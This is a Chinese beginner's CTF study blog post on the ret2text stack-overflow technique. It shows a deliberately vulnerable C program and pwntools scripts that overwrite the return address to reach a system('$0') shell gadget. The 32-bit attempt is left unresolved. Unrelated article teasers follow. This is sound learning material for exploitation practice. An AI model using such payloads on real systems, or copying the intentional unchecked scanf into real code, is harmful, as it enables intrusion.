pwn学习day4——ret2text

news2024/11/18 22:37:43

文章目录

  • 原理:
  • 例子
    • x64
    • x32

原理:

覆盖函数返回地址到程序内存在的gadgets获取shell

例子

#include<stdio.h>
#include<stdlib.h>

void hint(){
    system("$0");
}
int main(){
    char buf[0x10];
    printf("input: ");
    scanf("%s", buf);
    return 0;
}
// gcc ret2text.c -o ret2text_64 -no-pie -fno-stack-protector
// gcc ret2text.c -o ret2text_32 -no-pie -fno-stack-protector -m32

x64

直接溢出至hint函数处即可

img解题:

from pwn import *

o = process("ret2text_64")

hint = 0x4005D6
payload = b'a'*24 + p64(hint)
o.sendline(payload)
o.interactive()

img

x32

32位这里遇到个问题,按理来说覆盖长度为0x18+4

img

找到hint函数地址就可以解出题目了,但是打死都不行。

from pwn import *

o = process("ret2text_32")
hint = 0x804849B
pause()
payload = b'a'*(0x18+4) + p32(hint)
o.sendline(payload)

o.interactive()

img

gdb断点至scanf函数处,也没看出来哪里出现了问题

img

问大佬说是因为需要绕过ecx

img

太菜暂未解决。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/699862.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

1.5、JAVA 初识JAVA运算符

1 运算符 1.1 概述 运算符 用于连接 表达式 的 操作数&#xff0c;并对操作数执行运算。 例如&#xff0c;表达式num1num2&#xff0c;其操作数是num1和num2&#xff0c;运算符是””。 在java语言中&#xff0c;运算符可分为5种类型&#xff1a; 算术运算符、赋值运算符、关…

数据中心可视化合集 | 图扑数字孪生机房,解锁运维新境界

IDC&#xff08;Internet Data Center&#xff09;数据中心可视化是指通过可视化的方式对数据中心的运行状态、资源使用情况、安全监控等进行展示和管理。可以帮助管理员更好地了解数据中心的运行情况和趋势&#xff0c;及时发现问题并采取措施&#xff0c;提高数据中心的运行效…

libevent实践01:准备源码、搭建项目、编译脚本和入门例子

编译源码 libevent是一个Reactor事件库。 我的理解&#xff0c;就是封装了select、epoll、poll的函数库。有使用select&#xff0c;poll&#xff0c;epoll的需求就可以使用的。 官网地址&#xff1a;https://libevent.org/ 下载源码&#xff1a; https://github.com/libev…

2023亚马逊云科技中国峰会主题演讲,分享基础架构在AI浪潮的求新求变

2023亚马逊云科技中国峰会第二天精彩继续&#xff01;6月28日&#xff0c;亚马逊云科技大中华区产品总经理陈晓建在《专注创新&#xff0c;摆脱基础架构束缚》主题演讲中提出&#xff0c;云服务是支持数字创新的关键生产力。在当前生成式AI技术爆发的大环境下&#xff0c;亚马逊…

一种快速估算PCB走线电阻的方法:方块统计

我们通常需要快速地估计出印刷电路板上一根走线或一个平面的电阻值&#xff0c;而不是进行冗繁的计算。 虽然现在已有可用的印刷电路板布局与信号完整性计算程序&#xff0c;可以精确地计算出走线的电阻&#xff0c;但在设计过程中&#xff0c;我们有时候还是希望采取快速粗略…

通过BeautifulSoup获取【领域赛道--大数据与算法】top100用户

文章目录 前言介绍实现帖子地址请求地址引入模块提取代码程序入口提取到的数据 总结最后 前言 博主空空star主页空空star的主页 大家好&#xff0c;我是空空star&#xff0c;本篇给大家分享一下《通过BeautifulSoup获取【领域赛道--大数据与算法】top100用户》。 介绍 Beautif…

社区团购爆品怎么做?社区团购小程序有什么功能?

社区团购爆款可以通过拉新&#xff0c;打好用户基础。刚上线就推行低价爆款拉新&#xff0c;利用一些低成本的奶制品类和禽蛋类&#xff0c;蔬菜类来引流拉新。这一招非常有效&#xff0c;吸引源源不断的客流量汇集平台&#xff0c;庞大的用户流量是订单爆棚的保障。商家/运营方…

这所顶级双非,学硕爆冷上线即录取,保护一志愿!

一、学校及专业介绍 华侨大学是福建省“双一流”建设A类高校&#xff0c;在泉州、厦门分别设有校区&#xff0c;现有28个学院&#xff1b;11个学科门类&#xff0c;9个一级学科博士点&#xff0c;25个一级学科硕士点&#xff0c;23个专业学位硕士点&#xff0c;5个博士后流动站…

性能测试中如何使用RunnerGo还原混合并发场景

我们在进行软件开发时经常需要进行性能测试、压力测试和负载测试。其中有一类测试场景叫做混合并发测试&#xff0c;需要模拟多个接口下不同数量的用户使用场景&#xff0c;检查同时处理多个并发任务的能力&#xff0c;本文将展示如何使用开源的RunnerGo还原混合并发场景。 在…

C语言排序算法实现

1.概述 所谓排序&#xff0c; 就是使一串记录&#xff0c; 按照其中的某个或某些关键字的大小&#xff0c; 递增或递减的排列起来的操作。 排序算法&#xff0c; 就是如何使得记录按照要求排列的方法。排序算法在很多领域得到相当地重视&#xff0c; 尤其是在大量数据的处理方面…

数据分析回头看1——Pandas中数据处理总结

0、前言&#xff1a;因为之前自己在学习pandas的过程中就简单做了下笔记&#xff0c;发现在用的时候还是会比较乏力&#xff0c;很多东西容易忘&#xff0c;所以我就决定结合之前笔记的内容&#xff0c;按照使用pandas的习惯&#xff0c;把知识点梳理一下&#xff0c;方便之后查…

网段扫描攻击

攻击简介 如果网络中有用户向设备发送大量目标IP地址不能解析的IP报文&#xff08;即路由表中存在该IP报文的目的IP对应的路由表项&#xff0c;但设备上没有该路由表项中下一跳对应的ARP表项&#xff09;&#xff0c;将导致设备触发大量的ARP Miss消息。 大量的网段扫描报文会…

软件测试的自我学习和提升

软件测试是一项非常重要的工作&#xff0c;它可以确保软件在发布前能够正常运行&#xff0c;在软件开发过程中扮演着至关重要的角色。在这个不断变化和创新的时代&#xff0c;软件测试人员需要不断地学习和提升自己的技能和能力&#xff0c;以适应不同软件发展的需求。 1. 学习…

LeetCode刷题 | 309. 最佳买卖股票时机含冷冻期、714. 买卖股票的最佳时机含手续费

309. 最佳买卖股票时机含冷冻期 给定一个整数数组prices&#xff0c;其中第 prices[i] 表示第 i 天的股票价格 。​ 设计一个算法计算出最大利润。在满足以下约束条件下&#xff0c;你可以尽可能地完成更多的交易&#xff08;多次买卖一支股票&#xff09;: 卖出股票后&…

【MySQL学习笔记】(四)MySQL数据类型

MySQL数据类型 1 数据类型分类2 数值类型2.1 tinyint 类型2.2 bit 类型2.3 小数类型2.4 字符串类型2.5 varchar2.6 char和varchar比较 2.6 日期和时间类型2.6 enum 和 set2.6.1 集合查询使用find_ in_ set函数 1 数据类型分类 2 数值类型 2.1 tinyint 类型 数值测试 mysql>…

基于IP 的 Nginx 虚拟主机

目录 一、配置文件&#xff08;不要忘了备份&#xff09; 二、 访问地址 一、配置文件&#xff08;不要忘了备份&#xff09; 二、 访问地址

while(1) 和 for ( ; ; )的区别

while(1) 和 for(;;) 它们不都是无限循环吗&#xff0c;作用应该一样啊&#xff0c;它们到底有什么区别&#xff1f; 要回答这个问题&#xff0c;其实你各自编写一段while(1) 和 for(;;)的代码&#xff0c;编译对比一下代码大小和汇编文件&#xff0c;你就大概知道了。 while(…

Vue.extend

Vue.extend 方法用来对基本的Vue组件进行扩展&#xff0c;&#xff0c;创建他的子类&#xff0c;&#xff0c;通过扩展根节点Vue定义新的组件 const BaseComponent Vue.extend({data(){return{message:"hehe"}}})const ExtendedComponent BaseComponent.extend({mo…

5、Redis持久化

RDB&#xff08;默认&#xff09; 在指定的时间间隔&#xff0c;执行数据集的时间点快照 在指定的时间间隔&#xff0c;执行数据集的时间点快照 实现类似照片记录效果的方式&#xff0c;就是把某一时刻的数据和状态以文件的形式写到磁盘上&#xff0c;也就是快照。这样一来即使…

Mars3d实现对图层树顺序进行了调整的同时调整图层的层级

问题&#xff1a; 1.这个图层管理中的移动图层只是移动在树里的显示关系&#xff0c;数据的叠加优先级没有同步修改 原因&#xff1a; 1. 只对同类型图层才有效&#xff0c;如果是矢量图层需要zIndex的才有效。 比如&#xff1a;都是 geoserver发布的wms图层&#xff0c;这种…